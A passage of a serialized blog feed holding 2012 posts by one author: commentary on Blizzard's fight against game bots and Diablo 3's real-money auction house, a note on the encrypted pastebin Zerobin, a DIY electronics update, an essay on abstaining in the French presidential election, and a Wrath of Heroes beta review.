Sources : pour les évènements cités ci-dessus, les news des 24 derniers mois de Ownedcore (ex mmowned), le forum de mmowned, PiroxBots (et les discussions du défunt forum /Blizzard), mmo-champion, judgehype.";s:7:"content";s:8004:"
D3 fait couler beaucoup d’encre et pour cause : c’est un titre qui fait bouger les lignes des principes établis dans le domaine du jeu vidéo. Les décisions prise par Blizzard ne sont pas anodines, et prennent tout leur sens à la lumière d'un peu d’histoire: DRM, mode solo et argent de l’hôtel des ventes en ligne.

Il y a un an de cela, s’est passé un évènement de taille dans le monde du titre World Of Warcraft. Après 4 années de bataille contre les Bots (robots qui remplacent les joueurs) et les Golds Farmers (joueurs qui ramassent de l’or en jeu pour le revendre contre de l’argent sonnant et trébuchant), les juristes de Blizzard ont changé de cap. Après des années marquées principalement par des attaques en justice, des fermetures de comptes des joueurs et des démarches couteuses en justice, Blizzard a envoyé mi juillet 2011 ses meilleurs avocats traverser l’Atlantique pour aller en Allemagne sonner à la porte des deux plus grand développeurs de Bots de World of Warcraft qu’étaient PiroxBots et Honorbuddy. Blizzard leur tombe sur le coin de la figure, et leur propose des sous pour qu’ils arrêtent non seulement de développer des logiciels pirates pour WoW, mais qu’ils s’engagent à ne plus jamais développer de soft touchant de loin à Activision Blizzard.

Pirox a joué le jeu et quitté la scène (à ma grande déception, meme si c’était la décision la plus sage). Les gars de HB l’ont joué agressif et sont allés au tribunal sous couverture de la loi Allemande et du droit de jouir de son jeu comme bon le semble.

Le changement brutal de stratégie a surpris beaucoup de monde : en lieu et place de bannissement pur et simple, la stratégie négociatrice de Blizzard était peu lisible. Dans le contexte de l’époque, les seules vraies conclusions que l’on tira étaient que WoW était vraissemblablement en déclin, et que Blizzard choisissait délibérément de réduire la pression sur les joueurs afin de ne pas perdre une clientèle qui, a défaut de tricher ostentaoirement et d'acheter de l'or internet, n'en est pas moins une clientèle qui paie 14.90€ par mois pour le faire…

Mais aujourd’hui, cette action prend un autre sens. Avec la sortie de Diablo 3, le débat sur l’hotel des ventes en ligne alimente la chronique, je ne peux m’empêcher de faire un parallèle.

Dans un premier temps, l’annonce de l’abonnement d’un an à WoW: 6 mois avant la sortie de D3, Blizzard propose à ses joueurs de s’engager pour un an à World of Warcraft, et à recevoir au titre de cet engagement le jeu Diablo 3 gratuitement. Il faut comprendre ce geste commercial comme il doit être : un écart de survie. Sortir un titre comme Diablo 3, c'est prendre le risque de canibaliser tout un public de joueurs de WoW qui paie 14.90€ par mois pour jouer sur un titre déja existant;gros risque financier! Alors, la stratégie de Blizzard a été payante : proposer aux joueurs de WoW d'acheter Diablo3 gratuitement s’ils s’engagent pour un an, c’est contenir stratégiquement le flux monétaire en cas de transfert de joueurs migrant de WoW à Diablo 3. Car si ces joueurs décident de passer du temps sur D3, ils continuent de payer leur abonnement WoW. Manoeuvre réussie.

Dans un tel contexte, l’intention de Activision/Blizzard est de faire de Diablo 3 un titre aussi rentable que Wold of Warcraft. L'hôtel des ventes avec du vrai argent est la clef de voute du buisness model de Diablo 3 : ponctionner les transactions entrantes et sortantes à 15% permet de garantir une rentrée d’argent régulière. Mais pour assurer un volume de transactions, Blizzard a surtout pris une décision très controversée : afin d'éviter la triche et la duplication d'objets, le jeu est uniquement jouable en ligne sur les serveurs Blizzard.

Le but premier est de rendre exclusif le système d’enchères : tous les joueurs doivent jouer dans un bac à sable où les transactions sont obligatoires. Tous les joueurs doivent pouvoir un jour soit vendre du matériel, soit en acheter à d’autres à travers de la vitrine de l'hotel des ventes.

Ce choix de rentabilité fait que Blizzard a tout intéret que la totalité des joueurs joue en ligne, et c'est naturellement que la possibilité de jouer hors ligne, en solo, a été proscrite. Outre que le mode solo n’est pas faisable techniquement aujourd’hui car il faudrait un logiciel serveur de jeu en exécutable local, mais surtout en pratique il ne faut pas s’attendre à ce que Blizzard le propose : tout son modèle économique autour du jeu se base sur le principe qu’on doit jouer dans ce bac à sable ou l’on peut vendre et acheter. L’argument de la sécurité des comptes a bon dos : tout est sinistrement affaire de pognon.

Ensuite, la grosse peur de Blizzard se situe sur tout ce qui peut pourrir le marché en ligne en automatisant les actions des joueurs : les robots. Ces PiroxBots, Honorbuddy, Gnometools ou autres qui sont autant de programmes qui vont tout seul ramasser le butin et le vendre, inondant le marché d’objets, détruisant les microéconomies. Le changement de stratégie d’été 2011 montre que Blizzard a souhaité faire le ménage de la scène "boting" en neutralisant les acteurs les plus connus.

Ces types sont aussi et surtout des champion du memoryediting et du hack de code Blizzard. En les engageant à ne pas s’attaquer aux prochains titre Blizzard, le but est surtout de les neutraliser au regard des prochains titres. Il faut croire qu’ils ont vraiment peur des bots. Et ils ont raison, car l’avenir du système est incertain.

D’autant que les équipes de Honorbuddy remettent le couvert, et leur bot Demonbuddy est déjà en version pré-release pour D3. Une équipe de dev chinoise a également pris le relais de ce qui semble être le deuxième bot officiellement supportant la version retail du jeu. Et nous ne sommes qu’à une semaine de la sortie de la version officielle. Il faut voir ce que cela représente à moyen terme, mais déjà on peut s’attendre à voir des scripts complétant automatiquement les scènes les plus « lucratives » en butin, et mettant automatiquement le butin en vente.

Quand au mode solo, il a un grand avenir devant lui : les serveurs privés. L’émulateur Moegge a officiellement quitté le support des builds beta et l’équipe se concentre sur le second build de la version retail. Les bugs sont encore trop nombreux pour une release candidate, mais chacun suivant l’actu ému saura reconnaitre le talent de l’équipe d’une dizaine de développeurs qui bosse dessus.

L’avenir est assez simple à prévoir : dès que l’état de grace de la raréfaction des boites aura disparu, le prix de la version dématérialisée baissera grandement, pour atteindre (au pif) un 14,99€ de convergence sur lequel Blizzard profitera du traffic de nouveaux joueurs pour se faire du pognon sur les micro-paiements. Et le jeu sera même à horizon semi-lointain gratuit : cela va surtout dépendre de la fréquentation du titre. Mais tout est d’ores et déjà bien engagé dans ce sens.

Mais le jeu, lui, en vaut-il la chandelle ?

Au-delà des aspects financiers et mercantiles, le jeu est vraiment réussi. Equilibré et complet, il propose une expérience inégalée depuis… 14 ans. Et en cela, c’est un bon jeu. Le contexte est terrifiant, autant que le titre est bon. Un paradoxe sucré/salé délicieusement raffiné.

Sources : pour les évènements cités ci-dessus, les news des 24 derniers mois de Ownedcore (ex mmowned), le forum de mmowned, PiroxBots (et les discussions du défunt forum /Blizzard), mmo-champion, judgehype.";s:7:"dateiso";s:15:"20120522_152309";}s:15:"20120416_102305";a:7:{s:5:"title";s:39:"Zerobin - le Pastebin qui vous respecte";s:4:"link";s:90:"http://blog.fullmaj.rd-h.fr/?d=2012/04/16/08/23/05-zerobin---le-pastebin-qui-vous-respecte";s:4:"guid";s:90:"http://blog.fullmaj.rd-h.fr/?d=2012/04/16/08/23/05-zerobin---le-pastebin-qui-vous-respecte";s:7:"pubDate";s:31:"Mon, 16 Apr 2012 08:23:05 +0000";s:11:"description";s:0:"";s:7:"content";s:1825:" Zerobin est un Pastebin-like dont la particularité - et non des moindres de nos jours - est que les informations sont cryptées : un bon vieux 256 bits AES bien burné, en flat file et avec tout le savoir faire de Mr Sebsauvage.

Non seulement le serveur n'a aucune idée des données stockées, mais la "clef" pour reconstituer le message se situe dans l'URL du paste obtenu. Ainsi, seul le lien original permet de déchiffrer le message. Tout est expliqué sur la page officielle du projet.

Le Zerobin de Fullmaj : http://fullmaj.rd-h.fr/zerobin

Ce qui est intéressant dans ce projet : la combinaison d'évènements est la même que pour l'outil Shaarli développé par le même auteur. 

1 - dégradation d'un service web (delicious pour Shaarli, Pastebin pour Zerobin) qui suite à sa monétisation dévie de ses objectifs premiers.
2 - éclosion d'un projet de clone simple et minimaliste couvrant les défaut du défunt service est lancé.
3 - le projet dans son évolution devient un vrai killer en soi : gradant l'alliage entre simplicité et la fonctionalité, l'outils 'étoffe (pour shaarli, cela couvre toutes les couches entre .20 et .38 des Tags, QRcode au Daily en passant par les possiblités de Twitter like, etc...)

Si Zerobin suit la même trajectoire, il y a fort à parier que la communauté active autour du premier projet adhère au second, et que Zerobin devienne un véritable outil de prise de notes en ligne aussi simple que puissant.

J'attends la suite avec impatience, ces projets sont les porte drapeaux de la mouvance open source.";s:7:"dateiso";s:15:"20120416_102305";}s:15:"20120404_231359";a:7:{s:5:"title";s:29:"Lots of updates on the Wiki !";s:4:"link";s:78:"http://blog.fullmaj.rd-h.fr/?d=2012/04/04/21/13/59-lots-of-updates-on-the-wiki";s:4:"guid";s:78:"http://blog.fullmaj.rd-h.fr/?d=2012/04/04/21/13/59-lots-of-updates-on-the-wiki";s:7:"pubDate";s:31:"Wed, 04 Apr 2012 21:13:59 +0000";s:11:"description";s:0:"";s:7:"content";s:1217:" /me added some new epic content on the Wiki to highlight things I've been digging into.

1 - Created a picture library of the Space Invaders DIY arcade stick


2 - Added some data bout a cool project I've been working on : a Guitar Overdrive Pedal called RotorDrive

3 - Added a few technical stuff : some workaround on a simple tone shaper, and a discrete components VCA I've managed to build with a transistor and an opamp.

There are still some work remaining on SIDaster, three things are ongoing:
1 - Switching to Arduino IDE 1
2 - Adding Pitch bend Suppport
3 - Adding Patch managment

I want to find time to settle for a full day on the project, to avoid working in small shifts and loosing continuity. It's planned... as soon as possible.

Stay tuned, and keep up the DIY force.

Vince";s:7:"dateiso";s:15:"20120404_231359";}s:15:"20120330_142440";a:7:{s:5:"title";s:43:"Elections? Je serais à la mer, désolé...";s:4:"link";s:86:"http://blog.fullmaj.rd-h.fr/?d=2012/03/30/12/24/40-elections-je-serais-a-la-mer-desole";s:4:"guid";s:86:"http://blog.fullmaj.rd-h.fr/?d=2012/03/30/12/24/40-elections-je-serais-a-la-mer-desole";s:7:"pubDate";s:31:"Fri, 30 Mar 2012 12:24:40 +0000";s:11:"description";s:0:"";s:7:"content";s:6850:" Au mal-être de la culpabilité que génère le fait de ne pas exprimer mon suffrage succède lentement mais inéluctablement une conviction civique forte : je n’irai pas voter à cette élection car les enjeux de celle-ci sont biaisés.

Sur la forme cette élection est un exemple de parjure de démocratie qui démontre à quel point le système est rouillé. Démonstration rendue plus que jamais visible au travers du prisme qu’offrent les nouveaux tuyaux d’information de l’ère internet. Il ne fait plus aucun doute que l’élection du chef de l’état français est l’élection d’un homme plus que d’un programme, tout comme il ne fait plus aucun doute que la bataille est sur les terrains de la communication et de l’image, et pas des projets et dessins de la France de demain.

Sur le fond les sujets majeurs sont tout simplement évités, esquivés. Des pamphlets de débats comme celui de la viande halal, l’immigration ou l’avenir d’une petite entreprise de région sont montés en mayonnaise là où les sujets les plus lourds, qui incombent de la responsabilité du chef de l’état en tant que pilote, ne sont esquissés qu’avec une faiblesse et une couardise qui n’a de prudence que le nom. L’Europe est la grande absente des débats et des programmes, et avec cette absence se voit mise à la touche tout ce qui incombe du chef de l’état en tant que pilote : donner une trajectoire à la France, dans l’Europe, dans un monde qui bouge et qui subit en ce moment de graves tempêtes inhérentes au tournant que prend son histoire.

Ces tempêtes couvrent tous les domaines : la crise économique en est le plus évident et là-dessus le manque de vision est évident : la gestion de la crise grecque est un exemple de dévissage face aux évènements flagrant; soit, dont acte. Mais d’autres écueils sont sur notre route et eux manquent cruellement de pilotage, d’un chef avec une ambition comme la crise de l’énergie au travers des défis du nucléaire, des énergies fossiles et de la dépendance énergétique Européenne. Et il y a une autre crise tout aussi importante, du moins autant qu’elle est mal couverte et comprise : la crise de représentation politique.

Les protestations de 2011 et ses révolutions sont la partie apparente de l’iceberg qu’est la déférence des peuples pour leurs instances représentatives en Europe tout entière, pour ne pas dire du monde. Cette dernière, ankylosée par sa vieillesse institutionnelle et son inertie maladive, n’a pas donné aux révolutions du sud de la Méditerranée l’écho qui aurait dû résonner sur ses terres. Les timidement médiatisés Indignados ne sont pas un échec pour autant, au contraire, les instances politiques en place ont d’ailleurs fait une erreur en réagissant avec déférence aux éclatements éparses, mais caractéristiques de la fracture, qui ont seccoué l’Europe tout entière en 2011.

C’est dans ce paysage que l’électeur potentiel que je suis a du mal à se positionner. L’ambiance de crise favorise généralement les extrêmes. Voter pour eux n’est pas dans mes cordes, et n’arrangerai rien si ce n’est alimenter une sorte d’envie primaire de changement. Ce serait un vote effusif personnel et non citoyen. Et c’est là que je ne trouve pas mon compte dans cette élection : j’ai lu les programmes, les bilans, utilisé les outils que propose l’ère internet, comme cet excellent outil de classification non-polarisée des propositions de candidat. Mais sans jamais trouver mon compte de citoyen au final. La multiplication de l’information crée un nuage de stimuli pervers pour l’électeur que je suis : elle me noie.

Ma démarche a atteint ce point d’inflexion qu’est la prise de conscience que plus qu’un programme, je voudrais une vision de l’Europe et de la France dans cet Union. Je voudrais voter pour un pilote qui propose moins de choses en vrac, mais qui donne une vision. Qu’il s’engage à proposer une équipe équilibrée de décideurs et de penseurs, qu’il propose une vision à ambition largement plus grande que celle des 5 ans du quinquennat. Bref, il faut un dirigeant, pas un homme élu sur la performance d’une équipe de communication.

En toute humilité, je n’ai ni la vision, ni la connaissance, ni la compétence de choisir parmi les candidats actuels celui qui serait à priori le meilleur pilote. Me faire choisir le président est un acte manqué : comme beaucoup de mes concitoyens je n’ai qu’une connaissance empirique et superficielle des mécaniques de politique, de géopolitique et de stratégie étatique qui font un bon dirigeant.

Et ce pouvoir de nommage est même extrêmement dangereux : il n’y a rien de pire que de demander à quelqu'un qui ne connaît pas un sujet ou une problématique que de prendre une décision. Dans 90% des cas, son choix sera lié à une perception extérieure : pouvoir de persuasion d’un intervenant extérieur, ou sensibilité à priori liée à une expérience personnelle.

Prenons un exemple parlant, imaginons que le panel de clients d’un garage Renault reçoive un courrier pour élire le directeur du garage. Quel client est à même de juger que l’un ou l’autre des chefs mécano est capable de diriger le garage ? L’élection ne se fera que sur la capacité des mécanos en question à bien communiquer vers les clients, et sur des expériences personnelles ponctuelles : untel a eu une facture salée avec tel mécano et ne votera pas pour lui. Mais en aucun cas, le directeur élu le sera sur de vrais facteurs qui font un bon directeur : sa capacité à piloter et à diriger le garage.

A l’envie de s’intéresser et de réfléchir avec les prétendants se substitue une indignation de ne pas trouver dans le paysage actuel un candidat à la hauteur : le paysage politique stagne autour des critiques de personnes et de bilan.

L’électeur que je suis se sent aujourd’hui non seulement perdu et noyé dans les promesses jamais tenues des programmes, mais tout autant obligé d’une tâche qui est sensiblement au-delà de ses réelles capacités de prise de décision. Et comme nous vivons dans un pays ou le vote blanc a le même poids que l’abstention, j’ai décidé d’utiliser l’abstention comme étant mon vote, mon canal de communication pour témoigner de mon indignation envers les élus de cette élection.

Donc cette année, en Avril et en Mai, je ferais autre chose de mes WE. Et surtout, je célèbrerais la femme que j’aime. Ce qui est complètement au cœur de ma vie.";s:7:"dateiso";s:15:"20120330_142440";}s:15:"20120122_161959";a:7:{s:5:"title";s:15:"Wrath Of Heroes";s:4:"link";s:66:"http://blog.fullmaj.rd-h.fr/?d=2012/01/22/15/19/59-wrath-of-heroes";s:4:"guid";s:66:"http://blog.fullmaj.rd-h.fr/?d=2012/01/22/15/19/59-wrath-of-heroes";s:7:"pubDate";s:31:"Sun, 22 Jan 2012 15:19:59 +0000";s:11:"description";s:0:"";s:7:"content";s:8347:" Pour commencer la nouvelle année, les impressions sur le prochain Free2play Wrath of Heroes de Bioware (EA...) – actuellement en Beta privée – session de jeu du 12 au 15 janvier 2012.

Link: https://wrathofheroes.warhammeronline.com/

Who : joueur de MMO vétéran (UO/T4C/WOW/AOC/WAR/LSDAO) fan de PvP BG en équipe. Très peu d’expérience de MOBAs à part DOTA mais dans des versions très anciennes, en LAN uniquement.

What : WOH est un jeu d’action à la troisième personne orienté « aquarium » en champ de bataille, avec un gameplay type contrôle de héros. Le joueur lance une partie et rejoint une bataille, choisit un personnage parmis 11 héros et rentre dans le combat.

Le contrôle est directement hérité de WAR (qui lui-même colle à la mécanique de WOW). Le visuel est directement hérité de WAR. Les 11 classes proposées couvrent tous les domaines classiques des jeux type MMO d’action récents : CaC high armor Tank, CaC DPS medium armor, CaC furtif light, Ranged Magique burst (i.e. mage), Ranged magique debuff/drain (Demoniste), Ranged Physique (hunter), Ranged avec tourelles (ingé), etc…

Les classes ont environ 1000 pv et uniquement 5 capacités, toutes harmonisées selon une thématique de progression homogène :
- Une attaque principale à spammer (ranged ou cac, 50 dégats en moyenne).
- Un utilitaire à CD de 5 secondes, spécifique à la classe (sprint pour les CaCs, heal pour les soigneurs, debuff pour les ranged…)
- Une attaque améliorée à CD de 6 secondes, qui inflige des dégats équivalents à l’attaque de base et ajoute un debuff
- Un Finisher à 20 secondes de CD, le gros pouvoir de la classe (Great Heal pour les soigneurs, coup puissant qui fait a peu près 3 fois les dégats de l’attaque de base pour les DPS, etc…)
- Un Ultimate à CD de 30 secondes, pouvoir ultime de la classe (Stun 7s pour le tank, Gros Buff pour les Heal, etc…)
Toutes les classes sont articulées autour de ce concept des 5 sorts : l’attaque principale et l’attaque améliorée servent à faire le DPS de fond ou le heal de fond, l’utilitaire aide la classe (déplacement, debuff, buff), le Finisher permet de burst et l’Ultimate est puissant mais à CD très long.

Les champs de bataille sont organisés en bataille tripartites 6v6v6 avec deux scénarios :
- Contrôle de relique : les joueurs doivent capturer des reliques (au nombre de trois, qui popent au milieu du champ de bataille), les ramener à leur base (réparties également en étoile au bord des maps) et les défendre. Un compteur de points s’incrémente quand on contrôle au moins une relique. La partie se termine en 20 minutes ou si une équipe atteint 255 points.
- Contrôle de zone : la carte propose trois points de controle en étoile et une relique centrale fixe. Quand une équipe contrôle la relique du milieu et au moins un point de contrôle, elle gagne des points. La partie se termine en 20 minutes ou si une équipe atteint 255 points.

Chaque victoire permet de gagner des points d’expérience qui font monter en niveau, des points de talent qui permettent de débloquer des arbres de talents pour chaque classe, et de l’or qui permettra à terme d’acheter du stuff et des skins sur le Shop WOH. Ne sont dispo sur la beta que les arbres de talent pour quelques classes, pas de shop.

Jeu : Joué pendant une heure avec Bax l’Orc Noir et une heure avec Glowgob le Chaman Soigneur.

Le bon : Le jeu est rythmé et captivant, avec un total de 11 classes pour cette session de jeu. Le rythme est bien désservi par des maps qui ne sont pas trop grandes, il faut 10 secondes pour aller du spawn au point central des maps, et le rythme de repop après mort est très rapide (vagues de 7 secondes). Les classes sont variées et couvrent les grands domaines du genre, avec les spécificités intéressantes du titre WAR (ex : le coté Healbuffer du cham gob). Le rythme et le fait d’avoir uniquement 5 skills en fait un jeu à la sauce MMO au gout délicieusement arcade : facile à prendre en main, au bout de deux parties on commence à sentir les timings pour bien placer les différentes compétences, et au bout d’une poignée la stratégie globale du perso joué est intégrée. A ce moment les subtilités de combinaisons de classe commencent à se faire ressentir et le jeu prend une couleur intéressante. Attention c’est une beta absolument pas équilibrée, mais un semblant de balance semble se profiler à l’horizon, sentiment que je partage sans réelle métrique car certaines classes ont leurs arbres de talent en place, et d’autres non, ce qui rend le travail dur pour certains.

Le gameplay 6v6v6 est intéressant car il remet en question le postulat bipolaire des champs de bataille classiques à deux camps. Il n‘y a pas vraiment de place pour les situations d’humiliation ou une équipe écrase l’autre au point de respawn, car les équipes qui mènent doivent surveiller leurs arrières, il n’y a pas donc de « graveyard camping » possible. Ce qui rend le jeu beaucoup moins pénible, et beaucoup plus sujet aux retournements de situation : les choix tactiques sont parfois de favoriser l’équipe qui vous met le moins en péril, la plus faible, pour frapper celle qui domine… et du coup, sans véritable alliance tacite entre les équipes, se créent des synergies involontaires particulièrement intéressantes tactiquement.

Le moins bon : Le jeu n’est pas très joli et tire son moteur directement de WAR. Les spells et autres « paillettes » d’effets visuels sont plus d’actualité mais globalement le titre pèche un peu, surtout en partant du principe qu’il n’y a qu’une arène à afficher, et 18 joueurs, donc ca pourrait pousser un peu plus loin sur les détails.

Les classes sont attrayantes mais les talents et les arbres à l’heure actuelle sont encore en beta. C’est le gros travail à pousser, améliorer les classes. Y’a du boulot, mais ce qui est dispo est bien tripant. L’impression générale est que les classes ayant déjà leurs arbres de talent sont un peu trop imba, comparativement aux autres classes récemment ajoutées. Mais nul doute que cela changera avec le prochain patch.

Le 6v6v6 est un peu lourd en pickup : dès qu’une team fait preuve d’un poil de synergie, elle écrase les autres. Le jeu en équipe est super important dans une configuration tripolaire de ce type, et par conséquence j’ai peur que le système final soit très peu « noob-friendly ». Il faut absolument mettre en place un système de matchmaking pour les groupes (ou Warbands) pour qu’ils ne rencontrent que d’autres Warbands.

Avis général : Super impression au bout de deux heures. En tant que joueur vétéran de WoW intéressé quasi exclusivement par le PvP, j’attendais ce titre avec impatience et je suis servi. Ma principale crainte était qu’il finisse en DOTA like ce que les développeurs ont bien évité. La recette prend bien, on retrouve tous les aspects plaisants du PvP dans un titre comme WoW, sans la progression d’expérience PVE associée, la progression en PvP permet juste de développer des petits plus tactiques en jeu, mais ne ruine pas l’expérience de jeu. Bref, gros potentiel.

Il manque un truc qui serait génial, c’est une training-room améliorée, ou l’on puisse spawn avec nos persos/warband en attendant d’entrer en champ de bataille, ou l’on pourrait taper sur des manequins pour tester des combos ou des compétences, socialiser un peu avec les autres persos de nos warbands.

Je pense que des joueurs comme Julien, qui aiment les duels et les challenges tactiques en équipe, pourraient accrocher au concept. Après, ca reste du PvP, faut aimer le genre";s:7:"dateiso";s:15:"20120122_161959";}}